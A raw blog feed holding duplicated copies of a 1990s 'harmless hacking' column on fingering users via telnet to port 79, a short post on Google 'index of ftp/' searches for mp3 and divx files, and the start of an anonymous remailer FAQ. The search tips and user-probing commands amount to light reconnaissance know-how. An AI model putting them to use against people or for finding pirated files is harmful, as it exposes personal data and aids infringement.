_______________________________________________________&lt;br /&gt;
&lt;br /&gt;
Hacking. The word conjures up evil computer geniuses plotting the downfall&lt;br /&gt;
of civilization while squirreling away billions in electronically stolen&lt;br /&gt;
funds in an Antigua bank.&lt;br /&gt;
&lt;br /&gt;
But I define hacking as taking a playful, adventurous approach to computers.&lt;br /&gt;
Hackers don&#39;t go by the book. We fool around and try odd things, and when we&lt;br /&gt;
stumble across something entertaining we tell our friends about it. Some of&lt;br /&gt;
us may be crooks, but more often we are good guys, or at least harmless.&lt;br /&gt;
&lt;br /&gt;
Furthermore, hacking is surprisingly easy. I&#39;ll give you a chance to prove&lt;br /&gt;
it to yourself, today!&lt;br /&gt;
&lt;br /&gt;
But regardless of why you want to be a hacker, it is definitely a way to&lt;br /&gt;
have fun, impress your buddies, and get dates. If you are a female hacker&lt;br /&gt;
you become totally irresistible to all men. Take my word for it!;^D&lt;br /&gt;
&lt;br /&gt;
This column can become your gateway into this world. In fact, after reading&lt;br /&gt;
just this first Guide to (mostly) Harmless Hacking, you will be able to pull&lt;br /&gt;
off a stunt that will impress the average guy or gal unlucky^H^H^H^H^H^H^H&lt;br /&gt;
fortunate enough to get collared by you at a party.&lt;br /&gt;
&lt;br /&gt;
So what do you need to become a hacker? Before I tell you, however, I am&lt;br /&gt;
going to subject you to a rant.&lt;br /&gt;
&lt;br /&gt;
Have you ever posted a message to a news group or email list devoted to&lt;br /&gt;
hacking? You said something like &quot;What do I need to become a hacker?&quot; right?&lt;br /&gt;
Betcha you won&#39;t try *that* again!&lt;br /&gt;
&lt;br /&gt;
It gives you an education in what &quot;flame&quot; means, right?&lt;br /&gt;
&lt;br /&gt;
Yes, some of these 3l1te types like to flame the newbies. They act like they&lt;br /&gt;
were born clutching a Unix manual in one hand and a TCP/IP specification&lt;br /&gt;
document in the other and anyone who knows less is scum.&lt;br /&gt;
&lt;br /&gt;
*********************&lt;br /&gt;
Newbie note: 3l1t3, 31337, etc. all mean &quot;elite.&quot; The idea is to take either&lt;br /&gt;
the word &quot;elite&quot; or &quot;eleet&quot; and substitute numbers for some or all the&lt;br /&gt;
letters. We also like zs. Hacker d00dz do this sor7 of th1ng l0tz.&lt;br /&gt;
********************&lt;br /&gt;
&lt;br /&gt;
Now maybe you were making a sincere call for help. But there is a reason&lt;br /&gt;
many hackers are quick to flame strangers who ask for help.&lt;br /&gt;
&lt;br /&gt;
What we worry about is the kind of guy who says, &quot;I want to become a hacker.&lt;br /&gt;
But I *don&#39;t* want to learn programming and operating systems. Gimme some&lt;br /&gt;
passwords, d00dz! Yeah, and credit card numbers!!!&quot;&lt;br /&gt;
&lt;br /&gt;
Honest, I have seen this sort of post in hacker groups. Post something like&lt;br /&gt;
this and you are likely to wake up the next morning to discover your email&lt;br /&gt;
box filled with 3,000 messages from email discussion groups on agricultural&lt;br /&gt;
irrigation, proctology, collectors of Franklin Mint doo-dads, etc. Etc.,&lt;br /&gt;
etc., etc....arrrgghhhh!&lt;br /&gt;
&lt;br /&gt;
The reason we worry about wannabe hackers is that it is possible to break&lt;br /&gt;
into other people&#39;s computers and do serious damage even if you are almost&lt;br /&gt;
totally ignorant.&lt;br /&gt;
&lt;br /&gt;
How can a clueless newbie trash other people&#39;s computers? Easy. There are&lt;br /&gt;
public FTP and Web sites on the Internet that offer canned hacking programs. &lt;br /&gt;
&lt;br /&gt;
Thanks to these canned tools, many of the &quot;hackers&quot; you read about getting&lt;br /&gt;
busted are in fact clueless newbies. &lt;br /&gt;
&lt;br /&gt;
This column will teach you how to do real, yet legal and harmless hacking,&lt;br /&gt;
without resorting to these hacking tools. But I won&#39;t teach you how to harm&lt;br /&gt;
other people&#39;s computers. Or even how to break in where you don&#39;t belong.&lt;br /&gt;
&lt;br /&gt;
******************************&lt;br /&gt;
You can go to jail tip: Even if you do no harm, if you break into a portion&lt;br /&gt;
of a computer that is not open to the public, you have committed a crime. If&lt;br /&gt;
you telnet across a state line to break in, you have committed a federal felony.&lt;br /&gt;
*************************************&lt;br /&gt;
&lt;br /&gt;
I will focus on hacking the Internet. The reason is that each computer on&lt;br /&gt;
the Internet has some sort of public connections with the rest of the Net.&lt;br /&gt;
What this means is that if you use the right commands, you can *legally*&lt;br /&gt;
access these computers. &lt;br /&gt;
&lt;br /&gt;
That, of course, is what you already do when you visit a Web site. But I&lt;br /&gt;
will show you how to access and use Internet host computers in ways that&lt;br /&gt;
most people didn&#39;t know were possible. Furthermore, these are *fun* hacks.&lt;br /&gt;
&lt;br /&gt;
In fact, soon you will be learning hacks that shed light on how other people&lt;br /&gt;
(Not you, right? Promise?) may crack into the non-public parts of hosts. And&lt;br /&gt;
-- these are hacks that anyone can do.&lt;br /&gt;
&lt;br /&gt;
But, there is one thing you really need to get. It will make hacking&lt;br /&gt;
infinitely easier:&lt;br /&gt;
&lt;br /&gt;
A SHELL ACCOUNT!!!!&lt;br /&gt;
&lt;br /&gt;
A &quot;shell account&quot; is an Internet account in which your computer becomes a&lt;br /&gt;
terminal of&amp;nbsp; one of your ISP&#39;s host computers. Once you are in the &quot;shell&quot;&lt;br /&gt;
you can give commands to the Unix operating system just like you were&lt;br /&gt;
sitting there in front of one of your ISP&#39;s hosts.&lt;br /&gt;
&lt;br /&gt;
Warning: the tech support person at your ISP may tell you that you have a&lt;br /&gt;
&quot;shell account&quot; when you really don&#39;t. Many ISPs don&#39;t really like shell&lt;br /&gt;
accounts, either. Guess why? If you don&#39;t have a shell account, you can&#39;t hack!&lt;br /&gt;
&lt;br /&gt;
But you can easily tell if it is a real shell account. First, you should use&lt;br /&gt;
a &quot;terminal emulation program&quot; to log on. You will need a program that&lt;br /&gt;
allows you to imitate a VT 100 terminal. If you have Windows 3.1 or Windows&lt;br /&gt;
95, a VT 100 terminal program is included as one of your accessory program.&lt;br /&gt;
&lt;br /&gt;
Any good ISP will allow you to try it out for a few days with a guest&lt;br /&gt;
account. Get one and then try out a few Unix commands to make sure it is&lt;br /&gt;
really a shell account.&lt;br /&gt;
&lt;br /&gt;
You don&#39;t know Unix? If you are serious about understanding hacking, you&#39;ll&lt;br /&gt;
need some good reference books. No, I don&#39;t mean the kind with breathless&lt;br /&gt;
titles like &quot;Secrets of&amp;nbsp; Super hacker.&quot; I&#39;ve bought too many of that kind of&lt;br /&gt;
book. They are full of hot air and thin on how-to. Serious hackers study&lt;br /&gt;
books on:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; a) Unix. I like &quot;The Unix Companion&quot; by Harley Hahn.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; b) Shells. I like &quot;Learning the Bash Shell&quot; by Cameron Newham and Bill&lt;br /&gt;
Rosenblatt. A &quot;shell&quot; is the command interface between you and the Unix&lt;br /&gt;
operating system.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; c) TCP/IP, which is the set of protocols that make the Internet work. I&lt;br /&gt;
like &quot;TCP/IP for Dummies&quot; by Marshall Wilensky and Candace Leiden.&lt;br /&gt;
&lt;br /&gt;
OK, rant is over. Time to hack!&lt;br /&gt;
&lt;br /&gt;
How would you like to start your hacking career with one of the simplest,&lt;br /&gt;
yet potentially hairy, hacks of the Internet? Here it comes: telnet to a&lt;br /&gt;
finger port. &lt;br /&gt;
&lt;br /&gt;
Have you ever used the finger command before? Finger will sometimes tell you&lt;br /&gt;
a bunch of stuff about other people on the Internet. Normally you would just&lt;br /&gt;
enter the command:&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; finger Joe_Schmoe@Fubar.com&lt;br /&gt;
&lt;br /&gt;
But instead of Joe Schmoe, you put in the email address of someone you would&lt;br /&gt;
like to check out. For example, my email address is cmeinel@techbroker.com.&lt;br /&gt;
So to finger me, give the command:&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; finger cmeinel@techbroker.com&lt;br /&gt;
&lt;br /&gt;
Now this command may tell you something, or it may fail with a message such&lt;br /&gt;
as &quot;access denied.&quot;&lt;br /&gt;
&lt;br /&gt;
But there is a more elite way to finger people. You can give the command:&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; telnet llama.swcp.com 79&lt;br /&gt;
&lt;br /&gt;
What this command has just done is let you get on a computer with an&lt;br /&gt;
Internet address of llama.swcp.com through its port 79 -- without giving it&lt;br /&gt;
a password. &lt;br /&gt;
&lt;br /&gt;
But the program that llama and many other Internet hosts are running will&lt;br /&gt;
usually allow you to give only ONE command before automatically closing the&lt;br /&gt;
connection. Make that command:&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; cmeinel&lt;br /&gt;
&lt;br /&gt;
This will tell you a hacker secret about why port 79 and its finger programs&lt;br /&gt;
are way more significant than you might think. Or, heck, maybe something&lt;br /&gt;
else if the friendly neighborhood hacker is still planting insulting&lt;br /&gt;
messages in my files.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://intohackingwithuntamed.blogspot.com/feeds/4600727817163860378/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8981203489549642442/4600727817163860378?isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/4600727817163860378'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/4600727817163860378'/><link rel='alternate' type='text/html' href='http://intohackingwithuntamed.blogspot.com/2013/04/guide-to-mostly-harmless-hacking.html' title=' GUIDE TO (mostly) HARMLESS HACKING'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjt0urG9wk4_-_eUBWykNZSRqb8F2yKMdTA3HUXJnlTDGQNUN1S-vN5XhilGcIqq51aC1UpBJxxTtKQb1HRdBrLkiST60CB-7hnwNM3vlFJj05tDxOTs8PgChdzFx4rxb5P_6x1yq8AWI4/s72-c/password.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8981203489549642442.post-6049200416330239779</id><published>2013-03-26T07:34:00.002-07:00</published><updated>2013-09-08T21:08:16.285-07:00</updated><title type='text'></title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;
GUIDE TO (mostly) HARMLESS HACKING&lt;/h2&gt;
&lt;br /&gt;
&lt;br /&gt;
Hacking tip of this column: how to finger a user via telnet.&lt;br /&gt;
_______________________________________________________&lt;br /&gt;
&lt;br /&gt;
Hacking. The word conjures up evil computer geniuses plotting the downfall&lt;br /&gt;
of civilization while squirreling away billions in electronically stolen&lt;br /&gt;
funds in an Antigua bank.&lt;br /&gt;
&lt;br /&gt;
But I define hacking as taking a playful, adventurous approach to computers.&lt;br /&gt;
Hackers don&#39;t go by the book. We fool around and try odd things, and when we&lt;br /&gt;
stumble across something entertaining we tell our friends about it. Some of&lt;br /&gt;
us may be crooks, but more often we are good guys, or at least harmless.&lt;br /&gt;
&lt;br /&gt;
Furthermore, hacking is surprisingly easy. I&#39;ll give you a chance to prove&lt;br /&gt;
it to yourself, today!&lt;br /&gt;
&lt;br /&gt;
But regardless of why you want to be a hacker, it is definitely a way to&lt;br /&gt;
have fun, impress your buddies, and get dates. If you are a female hacker&lt;br /&gt;
you become totally irresistible to all men. Take my word for it!;^D&lt;br /&gt;
&lt;br /&gt;
This column can become your gateway into this world. In fact, after reading&lt;br /&gt;
just this first Guide to (mostly) Harmless Hacking, you will be able to pull&lt;br /&gt;
off a stunt that will impress the average guy or gal unlucky^H^H^H^H^H^H^H&lt;br /&gt;
fortunate enough to get collared by you at a party.&lt;br /&gt;
&lt;br /&gt;
So what do you need to become a hacker? Before I tell you, however, I am&lt;br /&gt;
going to subject you to a rant.&lt;br /&gt;
&lt;br /&gt;
Have you ever posted a message to a news group or email list devoted to&lt;br /&gt;
hacking? You said something like &quot;What do I need to become a hacker?&quot; right?&lt;br /&gt;
Betcha you won&#39;t try *that* again!&lt;br /&gt;
&lt;br /&gt;
It gives you an education in what &quot;flame&quot; means, right?&lt;br /&gt;
&lt;br /&gt;
Yes, some of these 3l1te types like to flame the newbies. They act like they&lt;br /&gt;
were born clutching a Unix manual in one hand and a TCP/IP specification&lt;br /&gt;
document in the other and anyone who knows less is scum.&lt;br /&gt;
&lt;br /&gt;
*********************&lt;br /&gt;
Newbie note: 3l1t3, 31337, etc. all mean &quot;elite.&quot; The idea is to take either&lt;br /&gt;
the word &quot;elite&quot; or &quot;eleet&quot; and substitute numbers for some or all the&lt;br /&gt;
letters. We also like zs. Hacker d00dz do this sor7 of th1ng l0tz.&lt;br /&gt;
********************&lt;br /&gt;
&lt;br /&gt;
Now maybe you were making a sincere call for help. But there is a reason&lt;br /&gt;
many hackers are quick to flame strangers who ask for help.&lt;br /&gt;
&lt;br /&gt;
What we worry about is the kind of guy who says, &quot;I want to become a hacker.&lt;br /&gt;
But I *don&#39;t* want to learn programming and operating systems. Gimme some&lt;br /&gt;
passwords, d00dz! Yeah, and credit card numbers!!!&quot;&lt;br /&gt;
&lt;br /&gt;
Honest, I have seen this sort of post in hacker groups. Post something like&lt;br /&gt;
this and you are likely to wake up the next morning to discover your email&lt;br /&gt;
box filled with 3,000 messages from email discussion groups on agricultural&lt;br /&gt;
irrigation, proctology, collectors of Franklin Mint doo-dads, etc. Etc.,&lt;br /&gt;
etc., etc....arrrgghhhh!&lt;br /&gt;
&lt;br /&gt;
The reason we worry about wannabe hackers is that it is possible to break&lt;br /&gt;
into other people&#39;s computers and do serious damage even if you are almost&lt;br /&gt;
totally ignorant.&lt;br /&gt;
&lt;br /&gt;
How can a clueless newbie trash other people&#39;s computers? Easy. There are&lt;br /&gt;
public FTP and Web sites on the Internet that offer canned hacking programs.&lt;br /&gt;
&lt;br /&gt;
Thanks to these canned tools, many of the &quot;hackers&quot; you read about getting&lt;br /&gt;
busted are in fact clueless newbies.&lt;br /&gt;
&lt;br /&gt;
This column will teach you how to do real, yet legal and harmless hacking,&lt;br /&gt;
without resorting to these hacking tools. But I won&#39;t teach you how to harm&lt;br /&gt;
other people&#39;s computers. Or even how to break in where you don&#39;t belong.&lt;br /&gt;
&lt;br /&gt;
******************************&lt;br /&gt;
You can go to jail tip: Even if you do no harm, if you break into a portion&lt;br /&gt;
of a computer that is not open to the public, you have committed a crime. If&lt;br /&gt;
you telnet across a state line to break in, you have committed a federal felony.&lt;br /&gt;
*************************************&lt;br /&gt;
&lt;br /&gt;
I will focus on hacking the Internet. The reason is that each computer on&lt;br /&gt;
the Internet has some sort of public connections with the rest of the Net.&lt;br /&gt;
What this means is that if you use the right commands, you can *legally*&lt;br /&gt;
access these computers.&lt;br /&gt;
&lt;br /&gt;
That, of course, is what you already do when you visit a Web site. But I&lt;br /&gt;
will show you how to access and use Internet host computers in ways that&lt;br /&gt;
most people didn&#39;t know were possible. Furthermore, these are *fun* hacks.&lt;br /&gt;
&lt;br /&gt;
In fact, soon you will be learning hacks that shed light on how other people&lt;br /&gt;
(Not you, right? Promise?) may crack into the non-public parts of hosts. And&lt;br /&gt;
-- these are hacks that anyone can do.&lt;br /&gt;
&lt;br /&gt;
But, there is one thing you really need to get. It will make hacking&lt;br /&gt;
infinitely easier:&lt;br /&gt;
&lt;br /&gt;
A SHELL ACCOUNT!!!!&lt;br /&gt;
&lt;br /&gt;
A &quot;shell account&quot; is an Internet account in which your computer becomes a&lt;br /&gt;
terminal of &amp;nbsp;one of your ISP&#39;s host computers. Once you are in the &quot;shell&quot;&lt;br /&gt;
you can give commands to the Unix operating system just like you were&lt;br /&gt;
sitting there in front of one of your ISP&#39;s hosts.&lt;br /&gt;
&lt;br /&gt;
Warning: the tech support person at your ISP may tell you that you have a&lt;br /&gt;
&quot;shell account&quot; when you really don&#39;t. Many ISPs don&#39;t really like shell&lt;br /&gt;
accounts, either. Guess why? If you don&#39;t have a shell account, you can&#39;t hack!&lt;br /&gt;
&lt;br /&gt;
But you can easily tell if it is a real shell account. First, you should use&lt;br /&gt;
a &quot;terminal emulation program&quot; to log on. You will need a program that&lt;br /&gt;
allows you to imitate a VT 100 terminal. If you have Windows 3.1 or Windows&lt;br /&gt;
95, a VT 100 terminal program is included as one of your accessory program.&lt;br /&gt;
&lt;br /&gt;
Any good ISP will allow you to try it out for a few days with a guest&lt;br /&gt;
account. Get one and then try out a few Unix commands to make sure it is&lt;br /&gt;
really a shell account.&lt;br /&gt;
&lt;br /&gt;
You don&#39;t know Unix? If you are serious about understanding hacking, you&#39;ll&lt;br /&gt;
need some good reference books. No, I don&#39;t mean the kind with breathless&lt;br /&gt;
titles like &quot;Secrets of &amp;nbsp;Super hacker.&quot; I&#39;ve bought too many of that kind of&lt;br /&gt;
book. They are full of hot air and thin on how-to. Serious hackers study&lt;br /&gt;
books on:&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;a) Unix. I like &quot;The Unix Companion&quot; by Harley Hahn.&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;b) Shells. I like &quot;Learning the Bash Shell&quot; by Cameron Newham and Bill&lt;br /&gt;
Rosenblatt. A &quot;shell&quot; is the command interface between you and the Unix&lt;br /&gt;
operating system.&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;c) TCP/IP, which is the set of protocols that make the Internet work. I&lt;br /&gt;
like &quot;TCP/IP for Dummies&quot; by Marshall Wilensky and Candace Leiden.&lt;br /&gt;
&lt;br /&gt;
OK, rant is over. Time to hack!&lt;br /&gt;
&lt;br /&gt;
How would you like to start your hacking career with one of the simplest,&lt;br /&gt;
yet potentially hairy, hacks of the Internet? Here it comes: telnet to a&lt;br /&gt;
finger port.&lt;br /&gt;
&lt;br /&gt;
Have you ever used the finger command before? Finger will sometimes tell you&lt;br /&gt;
a bunch of stuff about other people on the Internet. Normally you would just&lt;br /&gt;
enter the command:&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;finger Joe_Schmoe@Fubar.com&lt;br /&gt;
&lt;br /&gt;
But instead of Joe Schmoe, you put in the email address of someone you would&lt;br /&gt;
like to check out. For example, my email address is cmeinel@techbroker.com.&lt;br /&gt;
So to finger me, give the command:&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;finger cmeinel@techbroker.com&lt;br /&gt;
&lt;br /&gt;
Now this command may tell you something, or it may fail with a message such&lt;br /&gt;
as &quot;access denied.&quot;&lt;br /&gt;
&lt;br /&gt;
But there is a more elite way to finger people. You can give the command:&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;telnet llama.swcp.com 79&lt;br /&gt;
&lt;br /&gt;
What this command has just done is let you get on a computer with an&lt;br /&gt;
Internet address of llama.swcp.com through its port 79 -- without giving it&lt;br /&gt;
a password.&lt;br /&gt;
&lt;br /&gt;
But the program that llama and many other Internet hosts are running will&lt;br /&gt;
usually allow you to give only ONE command before automatically closing the&lt;br /&gt;
connection. Make that command:&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;cmeinel&lt;br /&gt;
&lt;br /&gt;
This will tell you a hacker secret about why port 79 and its finger programs&lt;br /&gt;
are way more significant than you might think. Or, heck, maybe something&lt;br /&gt;
else if the friendly neighborhood hacker is still planting insulting&lt;br /&gt;
messages in my files.&lt;br /&gt;
&lt;br /&gt;
Now, for an extra hacking bonus, try telnetting to some other ports. For&lt;br /&gt;
example:&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;telnet kitsune.swcp.com 13&lt;br /&gt;
&lt;br /&gt;
That will give you the time and date here in New Mexico, and:&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;telnet slug.swcp.com 19&lt;br /&gt;
&lt;br /&gt;
Will show you a good time!&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://intohackingwithuntamed.blogspot.com/feeds/6049200416330239779/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8981203489549642442/6049200416330239779?isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/6049200416330239779'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/6049200416330239779'/><link rel='alternate' type='text/html' href='http://intohackingwithuntamed.blogspot.com/2013/03/guide-to-mostly-harmless-hacking.html' title=''/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8981203489549642442.post-6308645927842996018</id><published>2013-03-26T07:33:00.001-07:00</published><updated>2013-03-26T07:33:11.479-07:00</updated><title type='text'></title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;
How To Find Ftp&#39;s The Easy Way&#39;&lt;/h2&gt;
&lt;br /&gt;
I use google cuz its the best search engine en everyone can acces .&lt;br /&gt;
The easiest search quote is &quot;index of ...&quot;&lt;br /&gt;
Some kind of examples are:&lt;br /&gt;
&lt;br /&gt;
index of ftp/ +mp3&lt;br /&gt;
index of ftp/ +divx&lt;br /&gt;
index of ftp/ +&quot;whateveryouwant&quot;&lt;br /&gt;
&lt;br /&gt;
Google has many operators that should help you to specify your search&lt;br /&gt;
USE EM&lt;br /&gt;
There are also lots of advanced operators available&lt;br /&gt;
here are a few:&lt;br /&gt;
&lt;br /&gt;
cache:&lt;br /&gt;
link:&lt;br /&gt;
related:&lt;br /&gt;
info:&lt;br /&gt;
stocks:&lt;br /&gt;
site:&lt;br /&gt;
allintitle:&lt;br /&gt;
intitle:&lt;br /&gt;
allinurl:&lt;br /&gt;
inurl:&lt;br /&gt;
&lt;br /&gt;
eg:&lt;br /&gt;
allintitle: &quot;index of ftp/mp3&quot;&lt;br /&gt;
&lt;br /&gt;
try to combine things and maybe u&#39;ll find something&lt;br /&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://intohackingwithuntamed.blogspot.com/feeds/6308645927842996018/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8981203489549642442/6308645927842996018?isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/6308645927842996018'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/6308645927842996018'/><link rel='alternate' type='text/html' href='http://intohackingwithuntamed.blogspot.com/2013/03/how-to-find-ftps-easy-way-i-use-google.html' title=''/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8981203489549642442.post-4892210795826953313</id><published>2013-03-10T05:53:00.001-07:00</published><updated>2013-03-10T05:53:45.737-07:00</updated><title type='text'></title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;FAQ!!&lt;/span&gt;&lt;/h2&gt;
&amp;nbsp; ============================================================&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;This article offers a nontechnical overview of anonymous&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;remailers to help you decide whether to use these&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;computer services to enhance your privacy. I have written&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;this especially for persons with a sense of humor. You&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;may distribute this (unaltered) FAQ for non-commercial&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;purposes.&lt;br /&gt;
&amp;nbsp; &amp;nbsp;===========================================================&lt;br /&gt;
&lt;br /&gt;
What is an anonymous remailer?&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;An anonymous remailer (also called an &quot;anonymous server&quot;)&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;is a free computer service that privatizes your e-mail.&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;A remailer allows you to send electronic mail to a Usenet&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;news group or to a person without the recipient knowing&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;your name or your e-mail address.&lt;br /&gt;
&lt;br /&gt;
Why would YOU use remailers?&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;Maybe you&#39;re a computer engineer who wants to express&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;opinions about computer products, opinions that your&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;employer might hold against you. Possibly you live in a&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;community that is violently intolerant of your social,&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;political, or religious views. Perhaps you&#39;re seeking&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;employment via the Internet and you don&#39;t want to&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;jeopardize your present job. Possibly you want to place&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;personal ads. Perchance you&#39;re a whistle-blower afraid of&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;retaliation. Conceivably you feel that, if you criticize&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;your government, Big Brother will monitor you. Maybe you&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;don&#39;t want people &quot;flaming&quot; your corporate e-mail&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;address. In short, there are many legitimate reasons why&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;you, a law abiding person, might use remailers.&lt;br /&gt;
&lt;br /&gt;
How does a remailer work?&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;Let&#39;s take an example. A popular Internet remailer is run&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;by Johan Helsingius, President of a Helsinki, Finland&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;company that helps businesses connect to the Internet.&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;His &quot;an@anon.penet.fi&quot; addresses are common in&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;controversial news groups. Suppose you read a post from&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;a battered woman &amp;lt;an123@anon.penet.fi&amp;gt; crying out for&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;help. You can write her at &amp;lt;an123@anon.penet.fi&amp;gt;.&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;Helsingius&#39; computer will STRIP AWAY your real name and&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;address (the header at the top of your e-mail), replace&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;this data with a dummy address, and forward your message&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;to the battered woman. Helsingius&#39; computer will notify&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;you of your new anonymous address; e.g.,&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;lt;an345@anon.penet.fi&amp;gt;. You can use Helsingius&#39; free&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;service to forward letters to anyone, even to persons who&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;do not use his service. His computer sends each user&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;detailed instructions about his system.&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
Are there many remailers?&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;Currently, there are roughly a dozen active, PUBLIC&lt;br /&gt;
